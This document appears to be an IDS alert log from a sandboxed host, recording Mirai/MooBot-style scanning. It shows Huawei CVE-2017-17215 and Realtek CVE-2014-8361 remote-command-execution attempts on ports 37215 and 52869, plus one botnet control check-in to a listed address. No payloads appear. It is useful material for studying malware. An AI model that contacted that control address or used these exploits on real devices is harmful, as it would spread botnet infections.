07/20/24-23:10:59.011093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59244	37215	192.168.2.15	32.89.4.217
07/20/24-23:10:52.558618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45628	37215	192.168.2.15	197.240.6.148
07/20/24-23:10:40.642616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56460	37215	192.168.2.15	223.170.119.134
07/20/24-23:11:03.339788	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43930	37215	192.168.2.15	119.144.252.148
07/20/24-23:11:03.378926	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48338	37215	192.168.2.15	41.206.88.10
07/20/24-23:10:43.232770	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42922	52869	192.168.2.15	184.222.232.77
07/20/24-23:10:49.420934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48458	37215	192.168.2.15	41.229.104.117
07/20/24-23:10:47.558856	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34736	52869	192.168.2.15	206.250.243.12
07/20/24-23:10:41.248342	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54130	37215	192.168.2.15	197.62.82.205
07/20/24-23:10:52.008043	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34792	52869	192.168.2.15	47.2.9.114
07/20/24-23:10:40.607363	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59396	37215	192.168.2.15	197.58.251.46
07/20/24-23:10:59.021280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58006	37215	192.168.2.15	197.5.98.73
07/20/24-23:10:59.028826	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60378	37215	192.168.2.15	157.150.96.161
07/20/24-23:10:52.549474	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56220	37215	192.168.2.15	157.155.105.181
07/20/24-23:10:40.658204	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33750	37215	192.168.2.15	157.88.156.88
07/20/24-23:10:41.231287	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47936	37215	192.168.2.15	41.208.56.128
07/20/24-23:10:49.425318	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34702	37215	192.168.2.15	197.10.159.159
07/20/24-23:10:47.971532	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60836	52869	192.168.2.15	154.174.121.129
07/20/24-23:10:51.983128	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34926	52869	192.168.2.15	222.95.36.229
07/20/24-23:10:46.735703	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38522	37215	192.168.2.15	197.208.205.254
07/20/24-23:11:06.683012	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46472	37215	192.168.2.15	41.203.9.22
07/20/24-23:11:05.706237	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	32950	2466	192.168.2.15	15.235.203.214
07/20/24-23:10:42.632104	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50042	52869	192.168.2.15	14.134.150.109
07/20/24-23:10:52.607833	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60932	37215	192.168.2.15	197.51.245.125
07/20/24-23:10:52.062286	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44964	52869	192.168.2.15	18.33.239.61
07/20/24-23:10:52.558618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59718	37215	192.168.2.15	197.171.76.37
07/20/24-23:10:52.517494	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42422	37215	192.168.2.15	197.43.151.167
07/20/24-23:11:03.378465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33708	37215	192.168.2.15	206.191.124.100
07/20/24-23:10:51.899861	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44826	52869	192.168.2.15	66.29.130.220
07/20/24-23:11:06.680205	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33620	37215	192.168.2.15	157.227.47.61
07/20/24-23:10:42.263488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39050	37215	192.168.2.15	41.165.2.246
07/20/24-23:10:56.002189	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34798	37215	192.168.2.15	197.228.38.103
07/20/24-23:10:46.739331	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57206	37215	192.168.2.15	197.212.128.84
07/20/24-23:10:59.029814	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40188	37215	192.168.2.15	157.174.16.208
07/20/24-23:10:51.940743	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59454	52869	192.168.2.15	202.116.72.105
07/20/24-23:10:52.045896	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59166	52869	192.168.2.15	222.252.7.7
07/20/24-23:10:42.253016	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53136	37215	192.168.2.15	41.104.211.49
07/20/24-23:10:45.375206	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40382	52869	192.168.2.15	101.108.145.138
07/20/24-23:10:42.620951	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49268	52869	192.168.2.15	65.58.210.176
07/20/24-23:10:51.966762	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34962	52869	192.168.2.15	46.156.254.69
07/20/24-23:10:52.581034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33798	37215	192.168.2.15	197.22.59.86
07/20/24-23:11:03.361258	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58542	37215	192.168.2.15	41.183.21.37
07/20/24-23:10:43.798813	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52460	52869	192.168.2.15	43.91.208.66
07/20/24-23:10:52.006529	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34324	52869	192.168.2.15	103.118.11.148
07/20/24-23:11:03.396635	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57850	37215	192.168.2.15	41.112.10.96
07/20/24-23:10:44.644043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40432	52869	192.168.2.15	196.162.5.87
07/20/24-23:10:44.656962	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47780	52869	192.168.2.15	181.65.248.166
07/20/24-23:10:51.984755	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60138	52869	192.168.2.15	198.78.111.199
07/20/24-23:10:46.778936	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35920	37215	192.168.2.15	157.83.70.155
07/20/24-23:10:46.817180	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49752	37215	192.168.2.15	197.156.4.216
07/20/24-23:10:51.906948	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39540	52869	192.168.2.15	92.216.196.59
07/20/24-23:10:42.248264	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39340	37215	192.168.2.15	157.55.118.235
07/20/24-23:10:51.970585	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38298	52869	192.168.2.15	154.244.223.55
07/20/24-23:10:42.273908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33120	37215	192.168.2.15	41.65.62.180
07/20/24-23:10:52.538168	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60798	37215	192.168.2.15	62.34.29.252
07/20/24-23:10:51.940105	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45534	52869	192.168.2.15	57.98.148.229
07/20/24-23:10:59.023708	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57332	37215	192.168.2.15	41.199.32.90
07/20/24-23:10:52.549474	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59808	37215	192.168.2.15	50.80.239.207
07/20/24-23:10:47.923877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59786	52869	192.168.2.15	86.217.29.78
07/20/24-23:10:59.055793	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59168	37215	192.168.2.15	41.219.76.223
07/20/24-23:11:06.683012	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49286	37215	192.168.2.15	41.229.107.116
07/20/24-23:10:41.232616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38164	37215	192.168.2.15	197.210.203.242
07/20/24-23:10:52.062286	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58990	52869	192.168.2.15	175.237.79.153
07/20/24-23:10:56.024382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46170	37215	192.168.2.15	197.168.5.78
07/20/24-23:10:47.580964	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49796	52869	192.168.2.15	185.140.178.36
07/20/24-23:10:59.012072	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48662	37215	192.168.2.15	197.176.134.19
07/20/24-23:10:39.434366	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37000	37215	192.168.2.15	197.115.200.222
07/20/24-23:10:42.621912	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41542	52869	192.168.2.15	212.22.178.123
07/20/24-23:10:51.923394	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60752	52869	192.168.2.15	171.98.191.97
07/20/24-23:10:39.160044	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43136	52869	192.168.2.15	204.13.73.202
07/20/24-23:10:56.030930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58026	37215	192.168.2.15	86.176.66.84
07/20/24-23:10:39.089913	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47418	52869	192.168.2.15	17.198.192.63
07/20/24-23:10:59.006202	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59482	37215	192.168.2.15	123.107.246.76
07/20/24-23:11:06.686627	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46414	37215	192.168.2.15	41.142.250.142
07/20/24-23:10:39.177644	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38954	52869	192.168.2.15	208.102.27.6
07/20/24-23:10:40.662520	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54186	37215	192.168.2.15	41.21.7.132
07/20/24-23:10:59.055793	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36708	37215	192.168.2.15	41.77.154.218
07/20/24-23:10:47.624071	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35990	52869	192.168.2.15	48.171.160.205
07/20/24-23:10:42.263488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34470	37215	192.168.2.15	41.34.214.1
07/20/24-23:10:42.250388	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42248	37215	192.168.2.15	157.91.41.148
07/20/24-23:10:51.898652	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57802	52869	192.168.2.15	141.170.58.184
07/20/24-23:10:52.021521	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38514	52869	192.168.2.15	151.138.171.183
07/20/24-23:10:45.666098	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53780	52869	192.168.2.15	132.40.118.189
07/20/24-23:10:39.433488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51110	37215	192.168.2.15	197.246.166.200
07/20/24-23:10:52.571075	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58172	37215	192.168.2.15	197.217.178.217
07/20/24-23:10:44.354826	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39302	52869	192.168.2.15	122.79.202.98
07/20/24-23:10:59.046417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40560	37215	192.168.2.15	179.68.218.110
07/20/24-23:10:47.910067	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37582	52869	192.168.2.15	169.184.79.124
07/20/24-23:10:49.409236	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52142	37215	192.168.2.15	41.243.188.46
07/20/24-23:10:49.383600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50424	37215	192.168.2.15	157.133.163.120
07/20/24-23:10:40.616009	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35578	37215	192.168.2.15	41.180.153.162
07/20/24-23:10:52.538168	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59130	37215	192.168.2.15	41.5.231.102
07/20/24-23:11:03.406798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44780	37215	192.168.2.15	124.198.16.179
07/20/24-23:11:06.696229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58472	37215	192.168.2.15	118.195.136.102
07/20/24-23:10:51.951774	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55884	52869	192.168.2.15	57.100.65.212
07/20/24-23:10:51.984756	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52876	52869	192.168.2.15	13.188.140.147
07/20/24-23:10:40.599066	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46876	37215	192.168.2.15	175.251.123.186
07/20/24-23:10:52.546429	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59578	37215	192.168.2.15	157.210.67.115
07/20/24-23:10:59.057854	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44800	37215	192.168.2.15	41.170.246.100
07/20/24-23:10:41.227634	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38590	37215	192.168.2.15	41.106.110.233
07/20/24-23:10:46.739331	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57516	37215	192.168.2.15	197.3.163.253
07/20/24-23:10:49.428717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49394	37215	192.168.2.15	197.58.115.194
07/20/24-23:10:44.739577	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55860	52869	192.168.2.15	129.146.5.212
07/20/24-23:10:52.008043	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35878	52869	192.168.2.15	78.179.192.192
07/20/24-23:10:41.241455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34070	37215	192.168.2.15	197.253.47.96
07/20/24-23:10:43.874968	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52408	52869	192.168.2.15	223.179.196.98
07/20/24-23:10:42.620129	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43006	52869	192.168.2.15	72.244.52.162
07/20/24-23:10:42.266162	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44894	37215	192.168.2.15	157.252.36.217
07/20/24-23:10:48.420135	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56410	52869	192.168.2.15	175.237.79.153
07/20/24-23:10:42.621194	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57786	52869	192.168.2.15	194.217.196.209
07/20/24-23:11:06.641258	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60474	37215	192.168.2.15	197.166.135.26
07/20/24-23:10:49.409236	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55142	37215	192.168.2.15	157.81.113.18
07/20/24-23:10:42.642009	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41286	52869	192.168.2.15	137.22.60.132
07/20/24-23:10:51.925000	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41174	52869	192.168.2.15	223.235.87.4
07/20/24-23:10:49.409236	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48168	37215	192.168.2.15	157.200.28.4
07/20/24-23:10:42.639392	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36760	52869	192.168.2.15	166.167.121.109
07/20/24-23:10:52.578509	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58006	37215	192.168.2.15	79.135.225.176
07/20/24-23:11:03.368250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45136	37215	192.168.2.15	197.137.222.201
07/20/24-23:10:45.064942	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38992	52869	192.168.2.15	13.129.217.20
07/20/24-23:10:51.970585	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49244	52869	192.168.2.15	181.65.248.166
07/20/24-23:10:44.554759	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38366	52869	192.168.2.15	123.14.61.21
07/20/24-23:10:42.661464	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38748	52869	192.168.2.15	90.4.66.163
07/20/24-23:10:59.027427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38444	37215	192.168.2.15	197.168.213.155
07/20/24-23:10:59.012071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36778	37215	192.168.2.15	35.148.136.213
07/20/24-23:10:42.621600	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45858	52869	192.168.2.15	220.239.248.79
07/20/24-23:10:39.495983	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37364	37215	192.168.2.15	197.14.81.255
07/20/24-23:10:40.649804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45246	37215	192.168.2.15	47.62.169.96
07/20/24-23:10:46.724339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58012	37215	192.168.2.15	157.82.96.118
07/20/24-23:10:51.991411	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34454	52869	192.168.2.15	222.120.170.64
07/20/24-23:10:52.555606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56162	37215	192.168.2.15	157.168.0.42
07/20/24-23:10:52.021884	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41142	52869	192.168.2.15	104.87.188.192
07/20/24-23:10:47.766237	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51562	52869	192.168.2.15	85.110.124.59
07/20/24-23:10:58.998725	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50320	37215	192.168.2.15	197.13.68.164
07/20/24-23:10:44.714243	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36958	52869	192.168.2.15	20.223.23.215
07/20/24-23:10:52.538168	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34188	37215	192.168.2.15	197.231.39.66
07/20/24-23:10:58.998725	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49104	37215	192.168.2.15	157.88.189.69
07/20/24-23:11:06.680205	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44258	37215	192.168.2.15	92.86.251.63
07/20/24-23:10:51.940743	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33696	52869	192.168.2.15	195.250.121.139
07/20/24-23:11:06.680204	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51942	37215	192.168.2.15	67.67.26.116
07/20/24-23:10:46.832505	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40752	37215	192.168.2.15	157.97.221.144
07/20/24-23:10:44.728946	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42026	52869	192.168.2.15	60.113.117.170
07/20/24-23:10:47.818407	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52400	52869	192.168.2.15	93.87.50.30
07/20/24-23:10:41.231287	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43904	37215	192.168.2.15	157.121.204.204
07/20/24-23:10:41.241817	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49106	37215	192.168.2.15	197.101.3.125
07/20/24-23:10:46.724339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59424	37215	192.168.2.15	157.70.166.0
07/20/24-23:10:52.008043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35878	52869	192.168.2.15	78.179.192.192
07/20/24-23:11:03.419608	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46110	37215	192.168.2.15	197.216.255.254
07/20/24-23:10:41.228259	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39922	37215	192.168.2.15	197.117.3.182
07/20/24-23:11:06.680205	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47680	37215	192.168.2.15	164.218.97.12
07/20/24-23:10:40.191614	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46580	52869	192.168.2.15	222.46.101.20
07/20/24-23:10:41.232616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44286	37215	192.168.2.15	197.80.174.62
07/20/24-23:10:41.243831	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52868	37215	192.168.2.15	197.41.11.247
07/20/24-23:10:44.589945	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35676	52869	192.168.2.15	1.209.39.62
07/20/24-23:10:52.047769	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47028	52869	192.168.2.15	209.16.225.185
07/20/24-23:10:40.599066	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47566	37215	192.168.2.15	197.32.38.129
07/20/24-23:10:40.649994	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47994	37215	192.168.2.15	41.210.197.36
07/20/24-23:10:52.521111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41618	37215	192.168.2.15	157.28.72.248
07/20/24-23:10:52.008043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36588	52869	192.168.2.15	118.30.197.237
07/20/24-23:11:03.378464	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35578	37215	192.168.2.15	41.237.230.7
07/20/24-23:10:39.487319	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43092	37215	192.168.2.15	221.44.210.72
07/20/24-23:10:43.838065	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53596	52869	192.168.2.15	195.68.182.111
07/20/24-23:10:45.260968	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46208	52869	192.168.2.15	40.70.214.228
07/20/24-23:10:52.547374	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44306	37215	192.168.2.15	41.198.181.95
07/20/24-23:10:42.661464	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60874	52869	192.168.2.15	206.49.109.215
07/20/24-23:11:06.780857	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40074	37215	192.168.2.15	197.88.161.113
07/20/24-23:10:58.998725	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50944	37215	192.168.2.15	105.184.58.232
07/20/24-23:10:49.355429	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42296	37215	192.168.2.15	80.185.203.249
07/20/24-23:10:40.604940	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45996	37215	192.168.2.15	41.95.14.253
07/20/24-23:10:47.988538	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50854	52869	192.168.2.15	157.33.175.112
07/20/24-23:10:44.648045	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33896	52869	192.168.2.15	217.150.234.15
07/20/24-23:10:46.724339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44738	37215	192.168.2.15	220.28.169.153
07/20/24-23:11:06.676715	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33862	37215	192.168.2.15	157.192.171.213
07/20/24-23:11:03.381593	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42144	37215	192.168.2.15	41.230.65.230
07/20/24-23:10:52.435678	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36872	52869	192.168.2.15	155.240.87.154
